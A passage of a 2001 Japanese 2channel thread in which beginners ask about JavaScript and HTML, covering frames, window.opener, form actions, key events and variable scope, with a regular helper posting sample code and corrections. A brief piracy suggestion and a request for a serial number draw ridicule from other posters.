702 名前:Brain_Not_Found 投稿日:2001/03/07(水) 02:12
は、はい。698さん是非サンプルを教えて下さい。特に1の方。
っていうかdhtmlっていうのがなんか意外な気がします。
イメージ的に。

703 名前:Name_Not_Found 投稿日:2001/03/07(水) 03:38
>>701
document.referrer でどこのハイパーリンクから飛んできたか
わかるので、自分のサイト以外からだったらはじく。
でもブラウザの設定でJavaScriptをOFFにされてたら全く意味ないです。

CGIのほうではじく方法もあるだろうけど、とりあえずあなたは
自分で設置した掲示板を使っているの?それともレンタル掲示板?
どこのスクリプト使ってるかはっきりさせよ。

つーか直リンぐらいでがたがたいうなやってのが本音だったり。
荒らされないサイト、掲示板の雰囲気つくりから始めましょう。

704 名前:Name_Not_Found 投稿日:2001/03/07(水) 05:45
>>698さん
私は702さんではないのですが、
教えていただければ大変助かります。
ぜひよろしくお願いします。


705 名前:( ´Д`) 投稿日:2001/03/07(水) 07:49
>>701
ひょっとして http://mentai.2ch.net/test/read.cgi?bbs=hp&key=983726096 の1の人?
もし当たってたら諦めてください。レンタルBBSだとソースのいじりようがないですから。
あと、JavaじゃなくてJavaScriptです。別物なので間違えないように。

>>702>>704
わかりました、ちょっとサンプル作ってみます。
DynamicHTMLは作成にちょっと時間がかかるので
気長に待っていてください。

706 名前:701 投稿日:2001/03/07(水) 09:13
>>703
自分で設置した板です。KENTさんとこのpetitBBS。
〜と、cgiでも出来るんですか? となると、ここで書いてるのは
お門違いだったりしそうかな…(^^;;

707 名前:( ´Д`) 投稿日:2001/03/07(水) 10:44
>>701
こちらの勘違いでしたか。すみません。
とりあえずJavaScriptでどうこうするよりは
CGIを使ってリクエスト情報からリファラを参照し、
不適切なページを経由したアクセスを弾く方確実でしょう。
詳しい内容についてはperl・CGI板で質問してみてください。

708 名前:701 投稿日:2001/03/07(水) 17:58
ありがとうございます、早速…と言おうと思ったんですが…ブラクラがどう
とかで直前に他の人が叩かれてて、取り合ってもらえなそうな気配なんです
よね(^^;;; まぁ、一応聞いてみようかな…

709 名前:Brain_Not_Found 投稿日:2001/03/07(水) 19:49
はい、700さん。
時間がかかるものなのにわざわざ本当にありがとうございます。
感謝しまっす。気長に待ちます。
ていうか本当にありがとうございます、、、

710 名前: 投稿日:2001/03/07(水) 19:51
↑ネタ?

711 名前:704 投稿日:2001/03/07(水) 22:39
>>705
わざわざ新規に作っていただけるなんて、、、
本当にありがとうございます。
気長に待ちます。


712 名前:Name_Not_Found 投稿日:2001/03/08(木) 07:12
ブラウザのタイトルバーにある”×”ボタンを非表示にするには
どうすればいいのでしょうか?


713 名前:Name_Not_Found 投稿日:2001/03/08(木) 07:48
>>712
ここ見てなんとかすれ。

http://www.microsoft.com/japan/developer/library/default.asp

714 名前:( ´Д`) 投稿日:2001/03/08(木) 07:52
>>712
[閉じる]ボタンはスクリプト等では一切操作できません。
そんなことできたらヤバいですって。

715 名前:今更だけど 投稿日:2001/03/08(木) 10:45
×「JavaScript」
◯「JAVAScript」

716 名前:Name_Not_Found 投稿日:2001/03/08(木) 10:47
>>715
逆だろ

717 名前:Name_Not_Found 投稿日:2001/03/08(木) 10:50
>>715
ネタかい?

718 名前:名無しさん 投稿日:2001/03/08(木) 15:52
書き込みした後 index2.htmlに行かないでそのスレッドに留まるようにしたいのですが
どうすればいいでしょうか?

index2.htmlの最初にJavaScriptで
1つ前のページがread.cgiなら1つ前に戻るような機能をproxomitronなどで
挿入すればできるような気がするのですが、前のページのURLにread.cgiが
含まれるのを判断する方法などが分かりません。

719 名前:( ´Д`) 投稿日:2001/03/08(木) 16:22
>>718
掲示板の続きですか? CGIでファイルの変更を行った後、
リファラのページをリダイレクトしてやればうまくいきませんかね?
これもCGI板で聞かれたほうがいいかと思います。
JavaScriptは非実装だったりOFFにされていればそれまでですし。

あと、質問時には状況をきちんと説明されてください。
718の書き込みだけでは何のことやら分からない人がほとんどだと思いますよ。

720 名前:Name_Not_Found 投稿日:2001/03/08(木) 18:09
>>718
要は Proxomitron の話だよねぇ?
var ref = document.referrer;
if(ref.indexOf('read.cgi')!=-1){ location.href=ref; }
でダメ?

721 名前:( ´Д`) 投稿日:2001/03/09(金) 00:03
>>709>>711
サンプルできました。
http://wwwhtml.virtualave.net/up/file/010.html
ただ、いくつか取り扱いの注意点がありますので、
後でそれに関するコメントを追加したものを再アップします。


ぬう、結局テーブルレイアウトに頼ってしもた。鬱だ。

722 名前:Name_Not_Found 投稿日:2001/03/09(金) 07:11
こんな場合の書き方を知りたいのです。
フレームleftとmainがあります(左右)
leftをメニューにしていますがここにtextareaと<go>imageがあります。
で次のように書きましたがうまく隣のmain_frameに展開されません。

<SCRIPT language="JavaScript">
&lt;!--
function Change(){
url="http://www.123123.co.jp/memo/";
wo=document.PA.no.value;
parent.main.location.href=url+wo+".htm";
}
// --&gt;
</SCRIPT>

<FORM NAME="PA">会員No,<INPUT type="text" name="no" size="10">
<INPUT type="button" value=" OK " onClick="Change()">
<INPUT type="reset" value="クリアー">
</FORM>

つまりメニューフレームから会員NO@`をtextareaに入力して<GO>を押すと
会員NO@`+htm というページへjumpさせたいのです。
例えば[abc100]という会員は自分のabc100.htmというページへ飛べるという
意味です。
parent.mainをつけないと同じ左のフレームには表示されますが、
parent.mainとつけたら右のmainに表示されません。
エラーになりうまくいきません。
どんな点が間違っているのでしょうか?
宜しくお願いします。

723 名前:722 投稿日:2001/03/09(金) 07:23
すみません。
上の722ですが、formでのvalueがOKになっていますね。
これが<GO>imageになる予定です。
いまはOKとクリアーの二つのボタンです。
何卒よろしくお願いします。

724 名前:( ´Д`) 投稿日:2001/03/09(金) 07:57
>>723
とりあえずスクリプトそのものにエラーの要因はないようです。
推測ですが、フレームの組み方に問題があると思われるので、
そっちのソースの方も添えていただけますか?

あと、正直言って文面がわかりにくかったので、
今度からはもう少し簡潔に書いていただければありがたいです。

725 名前:722 投稿日:2001/03/09(金) 09:33
>724 どうもです。ペーストだけで文章作ると変ですね。反省。

<html>
<head>
<title>■dog-pan■</title>
<meta http-equiv="Content-Type" content="text/html; charset=Shift_JIS">
</head>
<frameset cols="168@`839*" frameborder="NO" border="0" framespacing="0" rows="*">
<frame name="left" scrolling="NO" noresize src="side2.html">
<frameset rows="1*@`24" frameborder="NO" border="0" framespacing="0" cols="*">
<frame name="main" src="top.htm">
<frame name="bottomFrame" scrolling="NO" noresize src="frame-3.htm" marginwidth="0" marginheight="0" frameborder="NO">
</frameset>
<noframes><body bgcolor="#FFFFFF">

</body></noframes>
</frameset></html>

とこんな感じです。
leftフレームには呼び出せるのでjavascriptは基本的にあっていると思います。
でも勘違いしているとこがあるんでしょう。
それが分からないんです。
いかがでしょうか?
度々済みません。


726 名前:( ´Д`) 投稿日:2001/03/09(金) 11:17
>>725
謎はすべて解けたりなんかして。
そのソースだと、フレームは次のようなツリー構造になります。

フレームセット(nameなし)

├───────┐
│          │
フレーム(left)  フレームセット(nameなし)
            │
┌───────┤
│          │
フレーム(main) フレーム(bottomFrame)

leftフレーム内のドキュメントでparent.mainと指定した場合、
まず、parentはleftフレームの親であるフレームセットを指します。
そして、次のmainはparentの「直接」の子フレーム/フレームセットで
かつnameがmainのものを指すわけですが、
上の図の構造では該当するものが存在していません。
当然、エラーとなってしまうわけです。


(1/3)

727 名前:( ´Д`) 投稿日:2001/03/09(金) 11:18
解決策としては、leftフレームと同階層のフレームセットにもnameを与え、
ツリー構造をちゃんと経由するようにフレーム指定を修正するといいでしょう。
まず、フレームのHTMLソースを

<frameset cols="168@` *" border="0" frameborder="no" framespacing="0">
<frame name="left" src="side2.html" scrolling="no" noresize>
<frameset name="right" rows="*@` 24" border="0" frameborder="no" framespacing="0">
<frame name="main" src="top.htm">
<frame name="bottomFrame" src="frame-3.htm" frameborder="no" scrolling="no" marginwidth="0" marginheight="0" noresize>
</frameset>
<noframes>
<body bgcolor="#FFFFFF">
</body>
</noframes>
</frameset>

と変更します。
(一部、属性指定で不適切だったり不要なものがあったのでその部分も修正しています)


(2/3)

728 名前:( ´Д`) 投稿日:2001/03/09(金) 11:19
次に、leftフレーム内ドキュメントのスクリプトを次のように修正します。

<script type="text/javascript">
&lt;!--

function Change(){
url = "http://www.123123.co.jp/memo/";
wo = document.PA.no.value;
parent.right.main.location.href = url + wo + ".htm";
}

//--&gt;
</script>

以上の修正でスクリプトがちゃんと動いてくれると思います。
もしも不具合が出るようであればお教えくださいまし。


(3/3)

729 名前:(;´Д`) 投稿日:2001/03/09(金) 11:56
ヤバい、ちゃんと調べてみたらframesetにname属性はないよう。

>725
>>727-728の修正内容には大ウソが混ざってますので無視してください。
とりあえず、スクリプトだけを次の内容に修正しておいてください。

<script type="text/javascript">
&lt;!--

function Change(){
url = "http://www.123123.co.jp/memo/";
wo = document.PA.no.value;
parent.frames[1].main.location.href = url + wo + ".htm";
}

//--&gt;
</script>

これなら多分動いてくれる…ハズです。
あああ鬱だ鬱だ鬱だ氏のう。

730 名前:722 投稿日:2001/03/09(金) 12:17
>>729
感謝感激です。
しっかりとした組み方をしていなかったんですね。
反省しつつご親切な対応にお礼申し上げます。
今すごくうれしいです。
解決策が出たのと丁寧に教えてくれたことに
興奮しています。
ありがとうございました。


731 名前:(;´Д`) 投稿日:2001/03/09(金) 13:22
>>730
こちらこそ確かめもせずにだらだらとウソ垂れ流したりして恐縮です。
気付いたからいいものの、解決どころかますます混乱させてしまうところでした。
つか、729の修正内容にも自信が持てない…うまく動いてくれたでしょうか?

732 名前:722 投稿日:2001/03/09(金) 15:14
>>731 うまくいきません・・・
ページの構造は次のようにしました。
大きく分けて左・右フレームです。
[frame_set_2]←leftframe+<frame_set_1>

そして右フレームは縦に2分割。
[frame_set_1]←home-1+bottomframe

┌─────────────┐
│left │ home-1     │
│frame│         │
│   │         │
│   ├─────────┤
│   │ bottomframe
└─────────────┘

<frameset cols="160@`1*" frameborder="NO" border="0" framespacing="0">
<frame name="leftFrame" scrolling="NO" noresize src="side2.html">
<frame name="mainFrame" src="frame_set_1.html">
</frameset>

まずこれでよいのでしょうか?
そして次に、javascriptとformですが・・・

<script type="text/javascript">
&lt;!--

function Change(){
url = "http://www.123123.co.jp/memo/";
wo = document.PA.no.value;
parent.frames[1].main.location.href = url + wo + ".htm";
}

//--&gt;
</script>

***************************************
<FORM NAME="PA">会員No,<INPUT type="text" name="no" size="10">
<INPUT type="button" value=" OK " onClick="Change()">
<INPUT type="reset" value="クリアー">
</FORM>

と、こんな感じです。
うまくいきません・・・


733 名前:おしえて! 投稿日:2001/03/09(金) 15:18
別ウインドをjavaで開いて、そのリスト中の項目を本フレームのテキストボックスに返すスクリプト教えてください!!

お願いします!

734 名前:711 投稿日:2001/03/09(金) 15:31
>>721
ありがとうございました!
家に帰ったら、自分のページに取り込んでみます。

本当に感謝します。

735 名前:( ´Д`) 投稿日:2001/03/09(金) 16:29
>>732
だんだん自分でもわけがわからなくなってきたので検証してみたんですが、
スクリプトでフレーム構造のツリーを参照する際、
フレームセット要素の経由は記述を省略するもののようです。
つまり、parent.main.locationという指定そのものは正規のようです。
で。
それじゃあ何が悪かったのかと調べようと思い、
手始めにHTML中の属性値やスクリプト中の関数や変数の名前を
自分に分かりやすいように変更してみたんですが、

……なぜかそれだけでちゃんと動くようになってしまいました(;´Д`)

下のURLに動作するサンプルをフォルダに突っ込んで圧縮したファイルがありますので、
できるだけ必要な部分のみを修正して利用してみてください。
http://wwwhtml.virtualave.net/up/file/011.lzh

>>733
すいませんが、それだけでは何とも判断できないので
もう少し詳しく内容を教えていただけますか?

736 名前:Name_Not_Found 投稿日:2001/03/09(金) 23:50
すみません
DOMで特定クラスに属するオブジェクトを捕獲する方法知ってる方いらっしゃいましたら教えていただきたいのですが。

(こんな感じな例:
<DIV id="aaa">
  <UL>
   <LI class="mona">contetn1
   <LI class="giko">content2
    <UL>
    <LI class="mona">マターリ
    <LI class="zonu">ぞぬーり
    </UL>
   <LI class="mona">あひゃ(&middot;∀&middot;)
  </UL>
</DIV>

こんな感じのソースでmonaクラスのオブジェクトを捕獲したいのですが。。。

737 名前:d?l????? 投稿日:2001/03/10(土) 00:12
>>736

全部の要素をたどりながらclassNameプロパティが
"mona"のものを集めて行くしかないんじゃないかな。


738 名前:( ´Д`) 投稿日:2001/03/10(土) 00:53
>>736
W3C-DOMやIE-DOMなら要素種別を元にしたコレクションは取得できますが
classを元にしたコレクションを取得することはできません。
上の例の場合、li要素のみがターゲットになっているようなので、
document.getElementsByTagName("list")【W3C-DOM】か
document.all.tagName("list")【IE-DOM】で
li要素のコレクションを取得し、
for文でひとつひとつの要素オブジェクトをチェックし、
>>737さんの言われているようにclassNameプロパティが
"mona"のものを拾っていくしかないと思います。

739 名前:738訂正 投稿日:2001/03/10(土) 00:55
document.getElementsByTagName("list")【W3C-DOM】か
document.all.tagName("list")【IE-DOM】で



document.getElementsByTagName("li")【W3C-DOM】か
document.all.tagName("li")【IE-DOM】で

740 名前:Name_Not_Found 投稿日:2001/03/10(土) 01:10
( ´Д`) さんってかっこいい。
ファンに成っていいですか?

741 名前:(+_+)/~基本的なことでスンマソン 投稿日:2001/03/10(土) 01:48
皆さんどのくらいの期間でスクリプトをマスターされました?
今、さいが表紙のオライリーの本で勉強始めたばっかり
なのですが、通読するのもやっとこです。
もろ文系の人間なので仕様がないのかもしれませんが、
コアて何?リテラル?デバッガ、グ?というところから始めてます。
何か効率良く勉強する方法があったら、教えてください。

742 名前:736 投稿日:2001/03/10(土) 02:11
>>737-738
ありがとうございます。
やっぱり力技しかないですか‥‥

743 名前:Name_Not_Found 投稿日:2001/03/10(土) 02:15
>>741
他の言語の使用経験があれば習得は速いと思うけど……そういう予備知識なしだとどれくらいかかるもんなんだろ。
基本だけなら1〜2週間もかからないとは思うが。

744 名前:Name_Not_Found 投稿日:2001/03/10(土) 02:34
>>741
学問に王道は無し。
というか効率のいい勉強法は人それぞれ違うと思う。
とにかく動かして身体で覚えるもよし、きっちり本を読むも良し。
解らないうちはすごく遠回りな事をしているような
気がするかもしれないが
けしてその努力は無駄にはならない。がんばれ。

745 名前:(+ +)サンクス 投稿日:2001/03/10(土) 08:11
>>743
>>744
ありがと。
やるっす、でもって、へこんだらここで教わるす。

746 名前:tahoe 投稿日:2001/03/10(土) 10:49
window.openerを使って開かれたサブウインドウから呼び出された
べつの.JSファイルから、サブウインドウを開いた親元のウインドウ上に
あるテキストボックス内の数字をインクリメントしたいのですが上手く
いきません。変数の参照できる有効範囲を超えてるからでしょか?


1)親ウインドウが呼び出す.JSファイル内で
  以下のように"subwin.htm"を開いて
  whnd = window.open("subwin.htm"@`"subwin");

2)呼び出された"subwin.htm"から別の.JSファイルを
  取り込み、
<SCRIPT SRC="xxx.js"></SCRIPT>

3) そのスクリプトファイル内から
var num;
num = window.opener.document.Myform.Text1.value;
windows.opener.document.Myform.Text1.value = num++;

 とゆうカンジでやりたいのですが・・

747 名前:h++ 投稿日:2001/03/10(土) 12:32
var num = parseInt(opener.document.Myform.Text1.value);
opener.document.Myform.Text1.value = ++num ;

だったりして。


748 名前:>h++ 投稿日:2001/03/10(土) 14:21
ありがとう。でもちがったみたい・・・・

<ケース>
親ウインドウ → サブウインドウ
  の場合
親ウインドウ ← サブウインドウ
  は"window.opener"で操作が可能だけど、

<ケース>
親ウインドウ → サブウインドウ → 外部の.JSファイル
の場合は
親ウインドウ ← 外部の.JSファイル
  は"window.opener"での操作はやはりムリなのかな?


749 名前:( ´Д`) 投稿日:2001/03/10(土) 15:13
>>709>>711
コメントを追加したファイルを再アップしました。
あまり分かりやすいコメントじゃないかもしれませんが(;´Д`)
http://wwwhtml.virtualave.net/up/file/013.html

>>740
これぐらいしか芸のない人間ですよー後悔しますよー(笑

>>745
まずはリファレンスなどを参考にJavaScriptでできることを
ひとつひとつ丁寧に覚えていくとよいです。
で、ある程度基本的な部分を押さえたと思ったら
サンプル系のサイトをざっと見て廻ってみて、
仕組みが推測できないものにぶち当たったら
ソースの内容を完全に把握できるまで調べ倒すことを
何度も繰り返していくのが効果的です。

>>748
ストレートに
var num = parseInt(opener.document.Myform.Text1.value);
opener.document.Myform.Text1.value = num + 1;
ではいかんですか?

あと、外部JSファイルと言ってもインスタンス自体は
呼び出したHTMLドキュメントの一部となるので、
外部JSファイルそのものを独立した存在としてと考えない方がいいです。

750 名前:h++ 投稿日:2001/03/10(土) 15:45
>>748

何かが間違ってと思うよ。
私のブラウザIE5.0では動作しましたので、これ↓でやってみて下さい。

ファイルは main.html @` subwin.html @` sample.js の3つ

―――――――――――――――――――――――――――――――

// main.html の内容

<BODY onLoad="window.open('subwin.html'@`'subwin');">
<FORM name="MyForm">
<INPUT type="text" name="Text1" value="1">
</FORM>
</BODY>

// subwin.html の内容

<SCRIPT src="sample.js"></SCRIPT>
<BODY onLoad="incTextValue();"></BODY>

// sample.js の内容

function incTextValue(){
var num = parseInt( opener.document.MyForm.Text1.value );
opener.document.MyForm.Text1.value = ++num ;
}

―――――――――――――――――――――――――――――――

main.html のテキストフィールドの内容が 2 になれば成功。

751 名前:名無しさん@そうだ選挙にいこう 投稿日:2001/03/10(土) 16:26
そんな何の役にも立たないことシコシコ覚えてるヒマあったら、
友達からドリーム・ウィーバーコピーさせてもらった方が、よっぽど
残りの人生の時間を有効に使えると思うよ。


752 名前:tahoe 投稿日:2001/03/10(土) 16:29
ホントにどうもありがとう>h++さん、 ( ´Д`) さん。

>h++さん
ポストいただいたのはきちんと期待通りにうごきました。
もう一度まちがいがないか、じぶんのスクリプトをみな
おしてみます・・・



753 名前:Name_Not_Found 投稿日:2001/03/10(土) 17:22
>>751
そんな無粋な生き方はいりません。帰れ。

754 名前:( ´Д`) 投稿日:2001/03/10(土) 17:44
>>751

http://mentai.2ch.net/test/read.cgi?bbs=hp&key=982138297&st=623&to=623&nofirst=true
http://mentai.2ch.net/test/read.cgi?bbs=hp&key=982138297&st=627&to=627&nofirst=true
http://mentai.2ch.net/test/read.cgi?bbs=hp&key=982138297&st=629&to=630&nofirst=true
http://mentai.2ch.net/test/read.cgi?bbs=hp&key=982138297&st=632&to=633&nofirst=true

同一人物の方ですか?
あまりあちこちのスレでみっともない真似をされない方がいいですよ?(笑

755 名前:(+_+)ケンガク 投稿日:2001/03/10(土) 21:43
アゲ

756 名前:Brain_Not_Found 投稿日:2001/03/12(月) 01:12
709です。( ´Д`) さん、
もうほんっとーーーーーにありがとうございます!
とても助かりました。ブラボーです!
早速参考にさせていただきます。
ここ何日かpcに繋げなかったため、
お礼遅れてすいませんでした。
ああ!本当にありがとう!!!

757 名前:Brain_Not_Found 投稿日:2001/03/12(月) 01:30
( ´Д`) さん、今ソースを見てたのですが、
すごく丁寧で分かりやすくてその上注意点も書いてくれていたし、
つくるまで手間がかかったと思います。本当に感謝します。
ありがとうございました。

758 名前:Brain_Not_Found 投稿日:2001/03/12(月) 02:53
>751
ドリーム・ウィーバーのシリアル番号ってどこかに載ってませんか?


759 名前:( *Д*) ゴルア 投稿日:2001/03/12(月) 03:24
>>758
ア ナ タ ハ ア ホ デ ス カ ァ ?

760 名前:( ´Д`) 投稿日:2001/03/12(月) 07:39
なんだかなぁ。

761 名前:Name_Not_Found 投稿日:2001/03/12(月) 10:52
フォームの内容を2つのボタンで別のページに送りたいんですけど
FORM ACTIONの変更のしかたがわかりません。
ヂ尾のようにやればよいのでしょうか?

762 名前:( ´Д`) 投稿日:2001/03/12(月) 11:06
>>761
document.【form要素のname】.actionプロパティで自由に参照・設定できます。
ボタンのonclickで変更してしまうとよいです。

763 名前:Name_Not_Found 投稿日:2001/03/12(月) 11:12
>>762
form要素のnameというのはformの名前のことですか?
YESボタンを押したらAというファイルへ
NOボタンを押したらBと言うファイルに飛びたくて
フォームの項目は結構たくさんあるのですが・・・

764 名前:Name_Not_Found 投稿日:2001/03/12(月) 11:20
特定のキーを禁止したいんですけど、javascriptで可能でしょうか?

765 名前:( ´Д`) 投稿日:2001/03/12(月) 11:22
>>763
「form要素=formタグ」と考えてもらえば分かりやすいでしょうか。
たとえば、<form name="Data" action="http://www.2ch.net/2ch.html" method="post">〜</form>
というform要素のactionを参照・設定したいのであれば、document.Data.actionとなるわけです。

766 名前:( ´Д`) 投稿日:2001/03/12(月) 11:22
>>764
どういった場合にどのキーを禁止したいのか教えていただけますか?

767 名前:Name_Not_Found 投稿日:2001/03/12(月) 11:32
>>763
ありがとうございます。
では関数中で
if (i == 1)
document.Data.action="A.html";
else
document.Data.action="B.html";

submit();

とやればできるでしょうか?



768 名前:( ´Д`) 投稿日:2001/03/12(月) 11:45
>>767
だいたい以下のような形になるでしょうか。

スクリプト部
<script type="text/javascript">
&lt;!--
function DataSubmit(ButtonValue){
if(ButtonValue == "YES"){
document.Data.action = "A.html";
}
else if(ButtonValue == "NO"){
document.Data.action = "B.html";
}
document.Data.submit();
}
//--&gt;
</script>

フォーム部
<form name="Data" action="">
<input type="button" value="YES" onclick="DataSubmit(this.value);">
<input type="button" value="NO" onclick="DataSubmit(this.value);">
</form>

細かいトコを突き詰めると他にも色々ありますが、
とりあえずはこれでOKだと思います。

769 名前:Name_Not_Found 投稿日:2001/03/12(月) 11:49
>>767
ありがとうございました。ちょっと煮詰まってたので助かりました。


770 名前:764 投稿日:2001/03/12(月) 12:05
>>766 さん
PrintScreenによるキャプチャです...
その手のソフトを使えばキャプチャ出来てしまうのは解っているんですが…

771 名前:Name_Not_Found 投稿日:2001/03/12(月) 12:22
>>770
それを禁止するのは、できるできないに関わらず
余計なお世話なのでやめましょう。

772 名前:Name_Not_Found 投稿日:2001/03/12(月) 12:27
PrintScreenはともかく、
iモードの accesskey=1
で指定のアクションを実行、のような事は可能ですか?

773 名前:Name_Not_Found 投稿日:2001/03/12(月) 12:28
↑iモードではなく、PC上で。

774 名前:( ´Д`) 投稿日:2001/03/12(月) 13:12
>770
WindowsのIEやネスケでは不可能です。

>>772
IE4以降であれば、body要素のonkeypressでキー入力をキャッチし、
event.keycodeなどを判別するという方法があります。
Netscape6でも一応実装はされているようなのですが、かなりバグってるようです。

余談ですが、HTML4.0以降でのa要素はaccesskey属性を持っています。
例えば <a href="http://www.2ch.net/2ch.html" accesskey="n">〜</a>
と記述されたa要素であれば、alt+nキーでそのリンクへフォーカスが飛びます。
(割と最近のブラウザでないと対応してませんが)

775 名前:(;´Д`) 投稿日:2001/03/12(月) 13:20
>>772
event.keycodeではなくevent.keyCodeでした。すいません。
また、NN4でも同様の機能を持つプロパティがあるようです。
詳細は www5.plala.or.jp/hijiri_t/web/js_ibe.htm#modifiers をご覧ください。
こちらのサイトにはキーコード表も記載されているのでなかなか便利です。

776 名前:772 投稿日:2001/03/12(月) 14:28
>>774
スゲェ!
色々やってみます。m(__)m

777 名前:document.openと文字の大きさ 投稿日:2001/03/13(火) 06:04
質問:
document.open()@`document.write()などで書き出したページのレイアウトが
普通のHTMLと違います。
まずフォントの大きさが違います。
これはなぜなんでしょう?
また、これを防ぐのはどうしたらいいのでしょうか?
(IE5)

778 名前:( ´Д`) 投稿日:2001/03/13(火) 06:51
>>777
それだけだと何とも言えないので、
実際に書き出されている内容を
書き添えていただけますか?

779 名前:Name_Not_Found 投稿日:2001/03/14(水) 00:32
>>777
document.writeでHTMLを出力するとき、頭部分にこれを挿入すれば万事OKかと。

with(【ウィンドウの名前】.document){//withでまとめてHTML頭部分を列記
write("<HTML>\n<HEAD>\n")
write("<TITLE>たいとる</TITLE>\n</HEAD>\n")
write("<BODY>\n")
write("<font face='MS Pゴシック@`osaka'>\n")
}

よーするにHTML側できちんとフォントを指定してあげればいいってだけの話さー


780 名前:初心者 投稿日:2001/03/14(水) 21:28
form にテキストエリアがあって文字列入力後 Enter を押下すると
画面がリロード!?したようになり書いた文字列が消えてしまうんですが
どうしたらいいですか?
ボタンにはフォーカスはあてたくないです。

781 名前:Name_Not_Found 投稿日:2001/03/14(水) 21:53
>>780
これと同じことかい?
http://mentai.2ch.net/test/read.cgi?bbs=hp&key=972192155&st=576&to=578&nofirst=true

782 名前:(;´Д`) 投稿日:2001/03/14(水) 23:23
http://wwwhtml.virtualave.net/up/file/005.html のサンプル、
見返してみるとネスケに対応してない…後で修正してあぷしとこう。

783 名前:Name_Not_Found 投稿日:2001/03/16(金) 02:01
あげ

784 名前:Name_Not_Found 投稿日:2001/03/16(金) 20:55
↓どういう意味?
<script language="JavaScript">
function MM_openBrWindow(theURL@`winName@`features) { //v2.0
window.open(theURL@`winName@`features);
}
</script>

785 名前:Name_Not_Found 投稿日:2001/03/16(金) 21:35
「どういう意味?」ってもうちょっとどこに疑問を持っているか明確にしてくれ。
とりあえず新しいウインドウを開くスクリプトです。

<form>
<input type="button" value="yahoo"
onClick="MM_openBrWindow('http://www.yahoo.co.jp/'@`'yahoo'@`'toolbar=yes@`
location=yes@`scrollbars=yes@`resize=yes')">
<br>
<input type="button" value="google"
onClick="MM_openBrWindow('http://www.google.com/'@`'google'@`'toolbar=no@`
location=no@`scrollbars=no@`resize=no')">
</form>

たとえばbodyにこんなふうにかかれてて、yahooボタンを押したら
onClick="MM_openBrWindow('http://www.yahoo.co.jp/'@`'yahoo'@`
'toolbar=yes@`location=yes@`scrollbars=yes@`resize=yes')"の
MM_openBrWindow()内の値がそれぞれ theURL、winName、featuresに
渡されて新しいウインドウを開くという仕組み。

786 名前:(+_+)/~基本的なことでスンマソン 投稿日:2001/03/17(土) 04:17
<body bgcolor="navy">
<script language="javaScript">
function test (o) {
var i = 0; //iは この関数全体で有効
if (typeof o == "object") {
  var j = 0;       //jは このブロックだけではなく関数全体で有効
  for(var k = 0; k < 10; k++) {   //kは このループだけでなく関数全体で有効
     document.write(k);
    }
   document.write(k);    //kは 有効「10」になる
 }
document.write(j);      //jは 定義されているが、初期値が設定されていないこともある
}
</script>
</body>
基礎のグローバルとローカルについて勉強してるのですが、
こいつをソースに埋めこんでも出てきません。
本当なら10と表記されるものですか?

787 名前:ななし 投稿日:2001/03/17(土) 05:18
>>786
逆じゃなかったですっけか?
関数の中で使われてるjとkに関しては"var"をつけると
その関数の中でしか有効でなくてその関数にを抜けると
破棄される「ローカル変数」になるのでは?
全体で有効な「グローバル変数」にしたいのなら"var"を
とればいいのでは?

788 名前:Name_Not_Found 投稿日:2001/03/17(土) 11:04
>>785
784です。ありがとうございました。
BBSに「これ便利だから使ってね」と書かれてたんですが、
全然意味がわからず困ってたんです。どうもありがとうございました。

789 名前:Name_Not_Found 投稿日:2001/03/17(土) 13:11
Javascriptにおいて、変数のスコープ(変数の使える範囲)は
その変数が宣言された場所で決まります。
つまり、functionの外で宣言された変数はグローバル変数、
function内で宣言された変数はローカル変数です。
786の例で言うとグローバル変数はありません。全てtest (o) 内でのみ参照できる
ローカル変数です。「ブロック」という概念はありません。
それから var と変数のスコープは無関係です。varは単なる宣言です。
宣言しなくても使えますがしたほうがいいとされています。


790 名前:Name_Not_Found 投稿日:2001/03/17(土) 13:26
それからkは10になるはずですよ。
ひょっとして100に見えてます?
だとしたらそれは後ろにjの0がくっついているからです。
document.write(k+'<BR>');
でやってみてください。

791 名前:( ´Д`) 投稿日:2001/03/17(土) 14:12
>>786
つか、それだと関数は宣言されているだけで呼び出されてはいないわけで。

<html>
<head>
<script type="text/javascript">
&lt;!--
function test(o){
var i = 0;
if(typeof(o) == "object"){
var j = 0; //jは このブロックだけではなく関数全体で有効
for(var k = 0; k < 10; k++){ //kは このループだけでなく関数全体で有効
document.write(k);
}
document.write(k); //kは 有効「10」になる
}
document.write(j); //jは 定義されているが、初期値が設定されていないこともある
}
//--&gt;
</script>
</head>
<body bgcolor="navy">
<script type="text/javascript">
&lt;!--
test(new Object());
//--&gt;
</script>
</body>
</html>

こんな感じにしとかないと動きませんよ。

792 名前:789 投稿日:2001/03/17(土) 14:23
え。まさか関数の呼び出しくらいはやってるだろうと思ってレスしたけど、まさかやってないのか(;´Д`)
それじゃ何やっても動かないよ(;´Д`)エラーもデナイヨ

793 名前:(+_+)/~基本的なことでスンマソン 投稿日:2001/03/17(土) 17:31
あ〜皆さん丁寧なレスしていただいて、
ありがとうです。
実はまだ関数の章まで進んでないです。
申し訳ないです。
>>787
その通りです。書いてありました。ウウ・・。
>>789
よく分かってなかったです。分かり易い解説感謝です。
>790
時々スペース抜けてます・・基本以前だ・・。
>>791
わざわざ組み直してくれて申し訳ないです。ありがとう。
変数や関数を一通り読んでから出直します。
う〜ん、語句の理解が先決ですね、みなさん本当に感謝です。

794 名前:(+_+)/~基本的なことでスンマソン 投稿日:2001/03/17(土) 17:34
790だけ>>が抜けてしまった・・

795 名前:( ´Д`) 投稿日:2001/03/17(土) 19:10
真摯に学んでる人には喜んで応援させてもらいます。がんばってね。

796 名前:初心者質問スレから転載 投稿日:2001/03/17(土) 23:44
822 名前:Forest投稿日:2001/03/17(土) 18:27
はじめまして。Forestいいます。
先日からドロップダウンリストを使ってページを書こうとしているのですが、IEではちゃんと
データの受け渡しが出来るのに、ねすけではうまくいきません。
どなたか心当たりのある方、いらっしゃいませんでしょうか?

<HTML><HEAD>
<TITLE>計算</TITLE>
<SCRIPT LANGUAGE="JavaScript">

function func1(f){
var a;
a=160;
f.b.value=a*eval(f.c.value);
}
</SCRIPT>
</HEAD>

<FORM METHOD="POST">
160円×
<select name="c" onchange="func1(this.form)">
<option value="1">1</option>
<option value="2">2</option>
<option value="3">3</option>
</select>
=<INPUT TYPE="text" SIZE=10 NAME="b">円
</FORM>
</HTML>

797 名前:Name_Not_Found 投稿日:2001/03/17(土) 23:45
>>796への回答
selectedIndexでどの項目が選択されているか取得。
変数名を変更してますので注意してください。

<script language="JavaScript">
&lt;!--
var tanka=160;
function func1(f) {
kazu = f.options[f.selectedIndex].value;
shokei = tanka * eval(kazu);
document.KEISAN.SHOKEI.value = eval(shokei);
}
//--&gt;
</script>
</head>
<body>
